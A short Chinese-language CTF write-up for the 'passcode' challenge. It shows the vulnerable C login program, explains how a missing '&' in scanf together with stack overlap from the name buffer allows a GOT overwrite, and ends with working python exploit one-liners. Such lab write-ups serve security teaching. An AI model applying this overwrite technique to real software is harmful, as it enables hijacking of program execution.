源码 :
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
根据提示注意到问题 ,scanf("%d", passcode1); 遗漏了& 符号,导致执行scanf时 将修改passcode1 指向的地址。
使用gdb进行调试
welcome 和 login 是两次连续调用 ,
查看welcome 和login
两次ebp地址 , 且welcome 读入100个字符 , 我们可以发现刚好覆盖到passcode1 , 由于漏掉 & ,scanf() 的作用就是修改passcode1 指向地址的值 , 使用复写rop , 覆盖之后的函数,并将其指向我们希望的代码,
exp:
python -c "print 'C'*96 +'\x04\xa0\x04\x08' +'134514135\n'" |./passcode
python -c "print 'C'*96 +'\x00\xa0\x04\x08' +'134514135\n'" |./passcode